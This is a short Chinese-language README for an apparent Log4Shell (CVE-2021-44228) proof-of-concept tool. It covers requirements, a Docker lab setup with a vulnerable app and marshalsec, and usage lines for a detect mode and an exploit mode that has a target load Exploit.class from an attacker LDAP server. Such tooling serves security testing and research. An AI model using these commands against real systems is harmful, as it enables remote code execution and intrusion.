Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

针对 Apache Log4j ≤ 2.14.1 中关键漏洞 Log4Shell 的测试利用工具，可通过 JNDI 注入实现远程代码执行。

⚠️ 此 PoC 仅用于教育目的和在授权环境中的受控测试。 未经明确许可，请勿将其用于任何系统。

---

要求

• Python 3.x
• Java 8 或更高版本
• marshalsec（用于恶意 LDAP 服务器）
• HTTP 服务器（例如 python3 -m http.server）
• Docker（可选，用于搭建漏洞环境）

---

本地测试环境（可选，使用 Docker）

1. 运行存在漏洞的应用：

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. 访问：http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

---

使用方法

被动检测模式：

python3 main.py -u http://target.com -i burp.collab.net -m detect

主动利用模式（需要在 HTTP 服务器上放置 Exploit.class）：

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit